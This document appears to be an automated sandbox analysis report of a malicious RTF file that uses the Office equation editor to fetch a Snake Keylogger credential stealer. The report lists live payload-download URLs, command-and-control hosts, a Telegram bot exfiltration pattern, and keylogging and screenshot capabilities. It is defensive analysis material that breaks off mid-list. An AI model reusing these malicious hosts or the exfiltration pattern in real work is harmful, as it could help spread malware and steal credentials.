Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 30 Oct 2024 07:14:45 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.401749638.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.401554173.00000000005ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe
Source: EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe8/
Source: EQNEDT32.EXE, 00000002.00000002.401749638.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.401554173.00000000005ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exeC:
Source: EQNEDT32.EXE, 00000002.00000003.401554173.00000000005B4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exeT
Source: EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exej
Source: EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exettC:
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002443000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002396000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000246E000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002443000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000087F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: cmnjgyugo61000.exe, 00000008.00000002.909451493.0000000005960000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.909451493.0000000005960000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023BB000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: cmnjgyugo61000.exe, 00000005.00000002.414566324.00000000023E8000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20a
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.78
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.784
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000341D000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003452000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003462000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000342A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003516000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003408000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034DE000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49183 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: na.doc
Malicious sample detected (through community Yara rule)
Source: na.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
